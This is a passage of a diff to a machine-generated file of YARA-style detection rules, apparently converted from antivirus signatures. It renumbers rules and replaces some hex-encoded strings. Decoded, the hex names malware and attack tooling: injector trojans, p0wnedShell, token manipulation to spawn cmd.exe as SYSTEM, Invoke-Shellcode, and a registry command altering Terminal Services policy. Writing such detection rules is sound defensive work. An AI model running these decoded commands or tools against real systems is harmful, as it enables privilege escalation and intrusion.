1)*23552+(#a_6f_43 & 1)*28789+(#a_73_44 & 1)*25971+(#a_09_45 & 1)*6544+(#a_2d_46 & 1)*31277+(#a_39_47 & 1)*12378+(#a_52_48 & 1)*28257+(#a_00_49 & 1)*45+(#a_00_50 & 1)*79+(#a_25_51 & 1)*15648+(#a_01_52 & 1)*2+(#a_03_53 & 1)*1+(#a_03_54 & 1)*1+(#a_03_55 & 1)*1) >=3 + ((#a_54_0 & 1)*18467+(#a_03_2 & 1)*13057+(#a_00_3 & 1)*-27520+(#a_02_4 & 1)*912+(#a_03_5 & 1)*139+(#a_d9_6 & 1)*2050+(#a_80_7 & 1)*786+(#a_35_9 & 1)*29441+(#a_e8_10 & 1)*744+(#a_00_11 & 1)*105+(#a_00_13 & 1)*106+(#a_00_14 & 1)*48+(#a_03_16 & 1)*2+(#a_03_17 & 1)*2+(#a_03_18 & 1)*2+(#a_81_19 & 1)*-1+(#a_3e_20 & 1)*0+(#a_76_21 & 1)*29472+(#a_7a_22 & 1)*24841+(#a_2d_23 & 1)*2305+(#a_61_24 & 1)*27760+(#a_03_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_3f_30 & 1)*0+(#a_00_31 & 1)*32+(#a_01_32 & 1)*-28672+(#a_6f_33 & 1)*8308+(#a_32_34 & 1)*13367+(#a_2d_35 & 1)*23085+(#a_00_37 & 1)*99+(#a_2d_38 & 1)*23085+(#a_90_39 & 1)*11568+(#a_2d_40 & 1)*23085+(#a_7a_41 & 1)*24841+(#a_7a_42 & 1)*24841+(#a_4c_43 & 1)*19807+(#a_3a_44 & 1)*29799+(#a_00_46 & 1)*101+(#a_61_47 & 1)*17408+(#a_61_48 & 1)*26988+(#a_00_49 & 1)*2448+(#a_2d_50 & 1)*2305+(#a_00_51 & 1)*99+(#a_4d_52 & 1)*18507+(#a_09_54 & 1)*11408+(#a_2d_55 & 1)*14637) >=3 } -rule _InfrastructureShared_20324{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 15 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 2e 52 50 54 21 4d 54 42 00 01 00 18 01 74 00 6e 00 65 00 76 00 45 00 65 00 63 00 61 00 72 00 54 00 74 00 4e 00 01 00 12 01 6c 00 6c 00 64 00 2e 00 } //21539 - $a_00_1 = {64 00 74 00 6e 00 01 00 14 01 6c 00 6c 00 64 00 2e 00 32 00 33 00 72 00 65 00 73 00 75 00 01 00 18 01 6c 00 6c 00 64 00 2e 00 32 00 33 00 6c 00 65 00 6e 00 72 00 65 00 6b 00 01 00 18 01 41 00 79 00 72 00 61 00 72 00 62 00 69 00 4c 00 64 00 61 00 6f 00 4c 00 01 00 20 01 78 00 45 00 74 00 63 00 65 00 74 00 6f 00 72 00 50 00 } //108 - $a_00_2 = {75 00 74 00 72 00 69 00 56 00 01 00 1c 01 41 00 73 00 73 00 65 00 63 00 6f 00 72 00 50 00 65 00 74 00 61 00 65 00 72 00 43 00 01 00 26 01 74 00 63 00 65 00 6a 00 62 00 4f 00 65 00 6c 00 67 00 6e 00 69 00 53 00 72 00 6f 00 46 00 74 00 69 00 61 00 57 00 01 00 22 01 73 00 77 00 6f 00 64 00 6e } //108 - $a_00_4 = {65 00 72 00 68 00 54 00 6d 00 75 00 6e 00 45 00 01 00 1c 01 41 00 74 00 78 00 65 00 54 00 77 00 6f 00 64 00 6e 00 69 00 57 00 74 00 65 00 47 00 01 00 14 01 77 00 6f 00 64 00 6e 00 69 00 57 00 77 00 6f 00 68 00 53 00 01 00 32 01 73 00 73 00 65 00 63 00 6f 00 72 00 50 00 6e 00 6f 00 69 00 74 } //100 - $a_00_6 = {66 00 6e 00 49 00 79 00 72 00 65 00 75 00 51 00 74 00 4e 00 01 00 22 01 79 00 72 00 6f 00 6d 00 65 00 4d 00 73 00 73 00 65 00 63 00 6f 00 72 00 50 00 64 00 61 00 65 00 52 00 01 00 1c 01 78 00 45 00 63 00 6f 00 6c 00 6c 00 41 00 6c 00 61 00 75 00 74 00 72 00 69 00 56 00 01 00 24 01 79 00 72 00 6f 00 6d 00 65 00 4d 00 73 00 73 00 65 } //114 - $a_00_8 = {65 00 74 00 69 00 72 00 57 00 01 00 26 01 41 00 74 00 75 00 6f 00 65 00 6d 00 69 00 54 00 65 00 67 00 61 00 73 00 73 00 65 00 4d 00 64 00 6e 00 65 00 53 00 01 00 28 01 5c 00 32 00 33 00 6d 00 65 00 74 00 73 00 79 00 53 00 5c 00 73 00 77 00 } //114 - $a_00_9 = {6e 00 69 00 57 00 5c 00 3a 00 43 00 01 00 48 01 72 00 65 00 6c 00 6c 00 61 00 74 00 73 00 6e 00 49 00 20 00 65 00 6c 00 69 00 66 00 6f 00 72 00 50 00 20 00 72 00 65 00 67 00 61 00 6e 00 61 00 4d 00 20 00 6e 00 6f 00 69 00 74 00 63 00 65 00 6e 00 6e 00 6f 00 43 00 01 00 36 01 65 00 76 00 69 00 74 00 } //111 - $a_00_10 = {32 00 33 00 6e 00 69 00 57 00 2e 00 32 00 33 00 6e 00 69 00 57 00 2e 00 74 00 66 00 6f 00 73 00 6f 00 72 00 63 00 69 00 4d 00 01 00 1e 01 65 00 6c 00 64 00 6e 00 61 00 48 00 65 00 6c 00 75 00 64 00 6f 00 4d 00 74 00 65 00 47 00 01 00 } //97 - $a_00_11 = {73 00 65 00 72 00 64 00 64 00 41 00 63 00 6f 00 72 00 50 00 74 00 65 00 47 00 00 00 78 3c 03 00 07 00 07 00 06 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 70 30 77 6e 65 64 53 68 65 6c 6c 78 36 34 00 02 00 fe 01 4f 00 71 00 30 00 32 00 41 00 42 00 2b 00 4c 00 43 00 41 00 41 00 41 00 41 00 41 00 41 00 41 00 42 00 41 } //284 - $a_00_13 = {6b 00 57 00 33 00 4c 00 69 00 4f 00 4c 00 51 00 42 00 75 00 52 00 55 00 73 00 51 00 52 00 31 00 48 00 37 00 33 00 31 00 67 00 48 00 4d 00 51 00 4f 00 6b 00 46 00 47 00 46 00 6e 00 76 00 76 00 72 00 64 00 70 00 2f 00 4f 00 34 00 73 00 70 00 36 } //47 - $a_00_15 = {41 00 49 00 49 00 6a 00 68 00 41 00 72 00 79 00 75 00 34 00 7a 00 36 00 50 00 56 00 4f 00 74 00 78 00 48 00 75 00 58 00 7a 00 33 00 2f 00 78 00 54 00 36 00 58 00 39 00 7a 00 61 00 2f 00 44 00 66 00 2f 00 48 00 73 00 61 00 2f 00 4a 00 54 00 2f 00 39 00 50 00 6a 00 67 00 62 00 2f 00 2b 00 6b 00 50 00 50 00 68 00 76 } //68 - $a_00_17 = {30 00 31 00 57 00 02 00 30 01 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 54 00 6f 00 6b 00 65 00 6e 00 4d 00 61 00 6e 00 69 00 70 00 75 00 6c 00 61 00 74 00 69 00 6f 00 6e 00 02 00 90 03 2d 00 43 00 72 00 65 00 61 00 74 00 65 00 50 00 72 00 6f 00 63 00 65 00 73 00 73 00 20 00 22 00 63 00 6d 00 64 00 2e 00 65 00 78 00 65 00 22 00 20 00 } //106 - $a_00_18 = {73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 20 00 22 00 6e 00 74 00 20 00 61 00 75 00 74 00 68 00 6f 00 72 00 69 00 74 00 79 00 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 22 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a } //45 - $a_90_19 = {02 00 86 03 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 53 00 68 00 65 00 6c 00 6c 00 20 00 77 00 69 00 74 00 68 00 20 00 4c 00 6f 00 63 00 61 00 6c 00 20 00 41 00 64 00 6d 00 69 00 6e 00 69 00 73 00 74 00 72 00 61 00 74 00 6f 00 72 00 20 00 70 00 72 00 69 00 76 00 69 00 6c 00 65 00 67 00 65 00 73 00 20 00 3a 00 29 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 09 02 } //11617 - $a_01_20 = {09 30 2d 39 41 2d 5a 61 2d 7a 90 00 02 00 a6 03 49 00 6e 00 76 00 6f 00 6b 00 65 00 2d 00 73 00 68 00 65 00 6c 00 6c 00 63 00 6f 00 } //-28672 - condition: - ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*108+(#a_00_2 & 1)*108+(#a_00_4 & 1)*100+(#a_00_6 & 1)*114+(#a_00_8 & 1)*114+(#a_00_9 & 1)*111+(#a_00_10 & 1)*97+(#a_00_11 & 1)*284+(#a_00_13 & 1)*47+(#a_00_15 & 1)*68+(#a_00_17 & 1)*106+(#a_00_18 & 1)*45+(#a_90_19 & 1)*11617+(#a_01_20 & 1)*-28672) >=5 - -} -rule _InfrastructureShared_20325{ +rule _InfrastructureShared_21547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -258258,7 +273568,7 @@ rule _InfrastructureShared_20325{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*47+(#a_00_3 & 1)*68+(#a_00_5 & 1)*106) >=7 } -rule _InfrastructureShared_20326{ +rule _InfrastructureShared_21548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0d 00 21 " @@ -258280,7 +273590,7 @@ rule _InfrastructureShared_20326{ ((#a_46_0 & 1)*16675+(#a_5f_1 & 1)*25959+(#a_5a_2 & 1)*16762+(#a_2d_3 & 1)*31277+(#a_64_4 & 1)*12325+(#a_2e_5 & 1)*25964+(#a_00_6 & 1)*144+(#a_6c_7 & 1)*17923+(#a_6f_8 & 1)*25409+(#a_00_9 & 1)*14637+(#a_5f_10 & 1)*24937+(#a_00_11 & 1)*79+(#a_2d_12 & 1)*23924) >=4 } -rule _InfrastructureShared_20327{ +rule _InfrastructureShared_21549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 0c 00 21 " @@ -258300,7 +273610,7 @@ rule _InfrastructureShared_20327{ ((#a_46_0 & 1)*16675+(#a_19_1 & 1)*1+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277+(#a_30_4 & 1)*12848+(#a_00_5 & 1)*99+(#a_31_6 & 1)*9567+(#a_19_7 & 1)*1+(#a_00_8 & 1)*14637+(#a_2d_9 & 1)*23085+(#a_00_10 & 1)*14637) >=2 } -rule _InfrastructureShared_20328{ +rule _InfrastructureShared_21550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0b 00 21 " @@ -258318,7 +273628,7 @@ rule _InfrastructureShared_20328{ ((#a_46_0 & 1)*16675+(#a_6e_2 & 1)*29806+(#a_00_4 & 1)*80+(#a_01_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1) >=3 } -rule _InfrastructureShared_20329{ +rule _InfrastructureShared_21551{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 09 00 21 " @@ -258334,7 +273644,7 @@ rule _InfrastructureShared_20329{ ((#a_46_0 & 1)*16675+(#a_5a_1 & 1)*16762+(#a_00_3 & 1)*109+(#a_2c_5 & 1)*100+(#a_41_6 & 1)*11617+(#a_00_7 & 1)*53+(#a_00_8 & 1)*52) >=2 } -rule _InfrastructureShared_20330{ +rule _InfrastructureShared_21552{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -258362,7 +273672,7 @@ rule _InfrastructureShared_20330{ ((#a_54_0 & 1)*18467+(#a_39_1 & 1)*17203+(#a_36_2 & 1)*16695+(#a_37_3 & 1)*13625+(#a_41_4 & 1)*14640+(#a_38_5 & 1)*13105+(#a_36_6 & 1)*16384+(#a_45_7 & 1)*13636+(#a_44_8 & 1)*13369+(#a_32_9 & 1)*16951+(#a_44_10 & 1)*13368+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_46_18 & 1)*0) >=19 } -rule _InfrastructureShared_20331{ +rule _InfrastructureShared_21553{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 21 " @@ -258383,7 +273693,7 @@ rule _InfrastructureShared_20331{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*25188+(#a_65_2 & 1)*21251+(#a_00_3 & 1)*14637+(#a_2d_4 & 1)*23085+(#a_00_5 & 1)*14637+(#a_52_7 & 1)*10496+(#a_6d_8 & 1)*21347+(#a_49_9 & 1)*11264+(#a_72_10 & 1)*27756+(#a_2d_11 & 1)*23085+(#a_90_12 & 1)*11568) >=3 } -rule _InfrastructureShared_20332{ +rule _InfrastructureShared_21554{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,13 00 13 00 13 00 21 " @@ -258410,7 +273720,7 @@ rule _InfrastructureShared_20332{ ((#a_54_0 & 1)*18467+(#a_45_1 & 1)*26209+(#a_6d_2 & 1)*17966+(#a_73_3 & 1)*29230+(#a_2d_4 & 1)*12596+(#a_30_5 & 1)*12355+(#a_30_6 & 1)*12336+(#a_30_7 & 1)*12324+(#a_2d_8 & 1)*12336+(#a_30_9 & 1)*12336+(#a_30_10 & 1)*12336+(#a_30_11 & 1)*9217+(#a_59_12 & 1)*17996+(#a_2d_13 & 1)*31277+(#a_41_14 & 1)*11617+(#a_00_15 & 1)*144+(#a_3a_16 & 1)*9475+(#a_00_18 & 1)*112) >=19 } -rule _InfrastructureShared_20333{ +rule _InfrastructureShared_21555{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -258432,7 +273742,7 @@ rule _InfrastructureShared_20333{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_6f_2 & 1)*27756+(#a_00_3 & 1)*2448+(#a_61_4 & 1)*281+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1) >=13 } -rule _InfrastructureShared_20334{ +rule _InfrastructureShared_21556{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 16 00 21 " @@ -258458,7 +273768,7 @@ rule _InfrastructureShared_20334{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*25955+(#a_72_2 & 1)*17247+(#a_67_3 & 1)*19502+(#a_63_4 & 1)*30063+(#a_73_5 & 1)*25458+(#a_2e_6 & 1)*19777+(#a_73_7 & 1)*25458+(#a_4c_8 & 1)*8993+(#a_00_9 & 1)*67+(#a_00_11 & 1)*32+(#a_00_13 & 1)*80+(#a_00_14 & 1)*105+(#a_00_16 & 1)*108+(#a_4f_17 & 1)*5632+(#a_00_19 & 1)*110+(#a_01_21 & 1)*1) >=22 } -rule _InfrastructureShared_20335{ +rule _InfrastructureShared_21557{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 12 00 21 " @@ -258481,7 +273791,7 @@ rule _InfrastructureShared_20335{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_00_2 & 1)*115+(#a_00_3 & 1)*110+(#a_00_4 & 1)*48+(#a_00_5 & 1)*116+(#a_00_6 & 1)*32+(#a_00_8 & 1)*46+(#a_00_10 & 1)*68+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_4a_14 & 1)*0+(#a_01_15 & 1)*-28615+(#a_2d_16 & 1)*23085) >=5 } -rule _InfrastructureShared_20336{ +rule _InfrastructureShared_21558{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,18 00 18 00 11 00 21 " @@ -258507,7 +273817,7 @@ rule _InfrastructureShared_20336{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*11568+(#a_09_2 & 1)*6544+(#a_2d_3 & 1)*31277+(#a_00_4 & 1)*2448+(#a_2d_5 & 1)*2305+(#a_00_6 & 1)*111+(#a_61_7 & 1)*281+(#a_03_8 & 1)*3+(#a_03_9 & 1)*3+(#a_03_10 & 1)*3+(#a_03_11 & 1)*3+(#a_03_12 & 1)*3+(#a_03_13 & 1)*3+(#a_03_14 & 1)*3+(#a_01_15 & 1)*8+(#a_01_16 & 1)*8) >=24 } -rule _InfrastructureShared_20337{ +rule _InfrastructureShared_21559{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 21 " @@ -258522,7 +273832,7 @@ rule _InfrastructureShared_20337{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*73+(#a_00_3 & 1)*110+(#a_00_4 & 1)*32+(#a_00_6 & 1)*105+(#a_00_7 & 1)*101) >=12 } -rule _InfrastructureShared_20338{ +rule _InfrastructureShared_21560{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0d 00 21 " @@ -258542,7 +273852,7 @@ rule _InfrastructureShared_20338{ ((#a_46_0 & 1)*16675+(#a_41_1 & 1)*11617+(#a_73_2 & 1)*23620+(#a_57_3 & 1)*21504+(#a_00_5 & 1)*119+(#a_00_7 & 1)*110+(#a_00_8 & 1)*14637+(#a_3a_9 & 1)*26674+(#a_30_10 & 1)*11585+(#a_61_11 & 1)*14930+(#a_00_12 & 1)*97) >=10 } -rule _InfrastructureShared_20339{ +rule _InfrastructureShared_21561{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -258559,7 +273869,7 @@ rule _InfrastructureShared_20339{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*112+(#a_00_3 & 1)*49+(#a_00_4 & 1)*101+(#a_00_6 & 1)*40+(#a_00_8 & 1)*32+(#a_00_10 & 1)*123+(#a_45_11 & 1)*8704) >=13 } -rule _InfrastructureShared_20340{ +rule _InfrastructureShared_21562{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -258575,7 +273885,7 @@ rule _InfrastructureShared_20340{ ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*21623+(#a_00_2 & 1)*97+(#a_00_3 & 1)*176+(#a_00_4 & 1)*56+(#a_00_6 & 1)*101+(#a_00_7 & 1)*100) >=5 } -rule _InfrastructureShared_20341{ +rule _InfrastructureShared_21563{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -258591,7 +273901,7 @@ rule _InfrastructureShared_20341{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_00_3 & 1)*101+(#a_00_4 & 1)*110+(#a_00_5 & 1)*117+(#a_00_6 & 1)*96+(#a_00_7 & 1)*51) >=9 } -rule _InfrastructureShared_20342{ +rule _InfrastructureShared_21564{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 14 00 21 " @@ -258620,7 +273930,7 @@ rule _InfrastructureShared_20342{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108+(#a_73_2 & 1)*24946+(#a_65_3 & 1)*11877+(#a_4c_4 & 1)*29285+(#a_6f_5 & 1)*29793+(#a_70_6 & 1)*28257+(#a_76_7 & 1)*29252+(#a_45_8 & 1)*14657+(#a_5f_9 & 1)*25961+(#a_6b_10 & 1)*8307+(#a_5c_11 & 1)*28777+(#a_72_12 & 1)*30019+(#a_00_13 & 1)*14637+(#a_2d_14 & 1)*31277+(#a_19_15 & 1)*25976+(#a_41_16 & 1)*11617+(#a_65_17 & 1)*29535+(#a_61_18 & 1)*25956+(#a_30_19 & 1)*11617) >=20 } -rule _InfrastructureShared_20343{ +rule _InfrastructureShared_21565{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0f 00 21 " @@ -258644,7 +273954,7 @@ rule _InfrastructureShared_20343{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_25_2 & 1)*25462+(#a_19_3 & 1)*1+(#a_30_4 & 1)*11585+(#a_6c_5 & 1)*11885+(#a_7a_6 & 1)*24841+(#a_39_7 & 1)*12378+(#a_00_8 & 1)*2448+(#a_61_9 & 1)*281+(#a_03_10 & 1)*2+(#a_03_11 & 1)*2+(#a_01_12 & 1)*3+(#a_01_13 & 1)*3+(#a_57_14 & 1)*0) >=6 } -rule _InfrastructureShared_20344{ +rule _InfrastructureShared_21566{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0b 00 0b 00 11 00 21 " @@ -258668,7 +273978,7 @@ rule _InfrastructureShared_20344{ ((#a_46_0 & 1)*16675+(#a_5c_1 & 1)*-32715+(#a_6e_2 & 1)*25701+(#a_65_3 & 1)*29797+(#a_00_4 & 1)*14637+(#a_06_5 & 1)*11408+(#a_2d_6 & 1)*14637+(#a_90_7 & 1)*11617+(#a_79_8 & 1)*27745+(#a_61_9 & 1)*281+(#a_02_10 & 1)*2+(#a_58_11 & 1)*0+(#a_00_13 & 1)*40+(#a_00_14 & 1)*46+(#a_00_15 & 1)*97) >=11 } -rule _InfrastructureShared_20345{ +rule _InfrastructureShared_21567{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -258685,7 +273995,7 @@ rule _InfrastructureShared_20345{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*99+(#a_00_3 & 1)*101+(#a_00_5 & 1)*101+(#a_00_6 & 1)*100+(#a_00_7 & 1)*101+(#a_00_9 & 1)*109+(#a_00_11 & 1)*114) >=12 } -rule _InfrastructureShared_20346{ +rule _InfrastructureShared_21568{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 18 00 21 " @@ -258714,7 +274024,7 @@ rule _InfrastructureShared_20346{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*18289+(#a_78_2 & 1)*31297+(#a_65_3 & 1)*31315+(#a_48_4 & 1)*18498+(#a_7a_5 & 1)*25456+(#a_55_6 & 1)*24898+(#a_00_7 & 1)*18512+(#a_67_8 & 1)*25345+(#a_00_10 & 1)*3+(#a_54_11 & 1)*28261+(#a_74_12 & 1)*30067+(#a_64_13 & 1)*28486+(#a_00_15 & 1)*107+(#a_00_17 & 1)*107+(#a_00_19 & 1)*105+(#a_72_20 & 1)*282+(#a_74_21 & 1)*25966+(#a_6e_22 & 1)*30068+(#a_65_23 & 1)*26479) >=4 } -rule _InfrastructureShared_20347{ +rule _InfrastructureShared_21569{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 12 00 21 " @@ -258737,7 +274047,7 @@ rule _InfrastructureShared_20347{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*11890+(#a_2e_2 & 1)*28532+(#a_5f_3 & 1)*25956+(#a_00_5 & 1)*114+(#a_00_7 & 1)*114+(#a_00_9 & 1)*114+(#a_00_11 & 1)*97+(#a_65_12 & 1)*28257+(#a_03_13 & 1)*30720+(#a_74_14 & 1)*25669+(#a_61_15 & 1)*24418+(#a_90_16 & 1)*29295+(#a_5f_17 & 1)*29794) >=18 } -rule _InfrastructureShared_20348{ +rule _InfrastructureShared_21570{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 1c 00 21 " @@ -258761,14 +274071,14 @@ rule _InfrastructureShared_20348{ $a_00_19 = {39 00 65 00 39 00 01 00 44 01 55 00 72 00 34 00 38 00 76 00 52 00 64 00 53 00 67 00 37 00 33 00 4b 00 59 00 76 00 70 00 61 00 5a 00 62 00 6c 00 47 00 79 00 57 00 6a 00 37 00 35 00 37 00 61 00 44 00 50 00 4c 00 66 00 77 00 41 00 62 00 01 00 fe 01 43 00 56 00 30 00 52 00 56 00 68 00 30 00 5a 00 47 00 46 00 30 00 5a 00 54 00 70 00 6a 00 63 00 6d 00 56 00 68 } //121 $a_00_21 = {4d 00 6a 00 41 00 78 00 4e 00 53 00 30 00 78 00 4d 00 69 00 30 00 77 00 4d 00 56 00 51 00 77 00 4e 00 6a 00 6f 00 79 00 4e 00 6a 00 6f 00 31 00 4e 00 43 00 30 00 77 00 4e 00 54 00 6f 00 77 00 4d } //85 $a_00_23 = {79 00 6f 00 41 00 41 00 41 00 41 00 6c 00 64 00 45 00 56 00 59 00 64 00 47 00 52 00 68 00 64 00 47 00 55 00 36 00 62 00 57 00 39 00 6b 00 61 00 57 00 5a 00 35 00 41 00 44 00 49 00 77 00 4d 00 54 00 55 00 74 00 4d 00 54 00 49 } //48 - $a_00_25 = {55 00 4d 00 44 00 59 00 36 00 4d 00 6a 00 59 00 36 00 4e 00 54 00 51 00 74 00 4d 00 44 00 55 00 36 00 4d 00 44 00 42 00 58 00 71 00 5a 00 4f 00 57 00 00 00 78 64 03 00 1b 00 1b 00 1b 00 21 23 48 53 54 52 3a 54 } //68 - $a_61_26 = {3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 21 4d 54 42 00 01 00 1b 01 46 65 72 72 65 72 6f 2e 43 61 6c 63 75 6c 61 74 65 2e 72 65 73 6f 75 72 63 65 73 01 00 19 01 46 65 72 72 65 72 6f 2e 43 68 6e 67 50 77 64 2e 72 65 73 6f 75 72 63 65 73 01 00 1a 01 46 65 72 72 65 72 6f 2e 43 75 73 74 6f 6d 65 72 2e 72 } //28530 - $a_75_27 = {63 65 73 01 00 1f 01 46 65 72 72 65 72 6f 2e 43 75 73 74 6f 6d 65 72 5f 49 6e 66 6f 2e 72 65 73 6f 75 72 63 65 73 01 00 20 01 46 65 72 72 65 72 6f 2e 45 78 65 63 75 74 69 76 65 5f 48 6f 6d 65 2e 72 65 73 6f 75 72 63 65 73 01 00 1b 01 46 65 72 72 65 72 6f 2e 49 6e 76 65 6e 74 6f 72 79 2e 72 65 73 6f 75 72 63 65 73 01 00 18 01 46 65 } //29541 + $a_00_25 = {55 00 4d 00 44 00 59 00 36 00 4d 00 6a 00 59 00 36 00 4e 00 54 00 51 00 74 00 4d 00 44 00 55 00 36 00 4d 00 44 00 42 00 58 00 71 00 5a 00 4f 00 57 00 00 00 78 64 03 00 06 00 06 00 08 00 21 23 41 4c 46 3a 54 72 } //68 + $a_6e_26 = {57 69 6e 36 34 2f 53 69 6c 65 6e 74 52 6f 6f 73 74 65 72 2e 41 21 64 68 61 00 06 00 4c 01 28 65 6c 69 61 73 6e 65 6c 69 61 73 65 65 6c 69 61 73 77 2d 65 6c 69 61 73 4f 62 65 6c 69 61 73 6a 65 65 6c 69 61 73 63 74 20 6e 65 65 6c 69 61 73 74 2e 77 65 6c 69 61 73 65 62 65 6c 69 61 73 43 6c 65 } //27247 + $a_73_27 = {65 6e 74 29 05 00 1c 01 73 00 75 00 66 00 5f 00 6c 00 61 00 75 00 6e 00 63 00 68 00 2e 00 65 00 78 00 65 00 01 00 72 01 72 65 67 20 61 64 64 20 22 48 4b 4c 4d 5c 53 4f 46 54 57 41 52 45 5c 50 6f 6c 69 63 69 65 73 5c 4d 69 63 72 6f 73 6f 66 74 5c 57 69 6e 64 6f 77 73 20 4e 54 5c 54 65 72 6d } //26988 condition: - ((#a_46_0 & 1)*16675+(#a_45_2 & 1)*4352+(#a_01_3 & 1)*-28592+(#a_72_4 & 1)*22387+(#a_43_5 & 1)*24949+(#a_61_6 & 1)*26723+(#a_53_8 & 1)*3584+(#a_01_9 & 1)*11886+(#a_41_10 & 1)*28417+(#a_32_11 & 1)*27649+(#a_01_12 & 1)*25974+(#a_65_13 & 1)*17153+(#a_00_14 & 1)*122+(#a_00_15 & 1)*49+(#a_00_16 & 1)*89+(#a_00_18 & 1)*50+(#a_00_19 & 1)*121+(#a_00_21 & 1)*85+(#a_00_23 & 1)*48+(#a_00_25 & 1)*68+(#a_61_26 & 1)*28530+(#a_75_27 & 1)*29541) >=10 + ((#a_46_0 & 1)*16675+(#a_45_2 & 1)*4352+(#a_01_3 & 1)*-28592+(#a_72_4 & 1)*22387+(#a_43_5 & 1)*24949+(#a_61_6 & 1)*26723+(#a_53_8 & 1)*3584+(#a_01_9 & 1)*11886+(#a_41_10 & 1)*28417+(#a_32_11 & 1)*27649+(#a_01_12 & 1)*25974+(#a_65_13 & 1)*17153+(#a_00_14 & 1)*122+(#a_00_15 & 1)*49+(#a_00_16 & 1)*89+(#a_00_18 & 1)*50+(#a_00_19 & 1)*121+(#a_00_21 & 1)*85+(#a_00_23 & 1)*48+(#a_00_25 & 1)*68+(#a_6e_26 & 1)*27247+(#a_73_27 & 1)*26988) >=10 } -rule _InfrastructureShared_20349{ +rule _InfrastructureShared_21571{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 0d 00 21 " @@ -258787,7 +274097,24 @@ rule _InfrastructureShared_20349{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*29538+(#a_61_2 & 1)*12595+(#a_00_3 & 1)*108+(#a_00_4 & 1)*69+(#a_00_6 & 1)*102+(#a_00_7 & 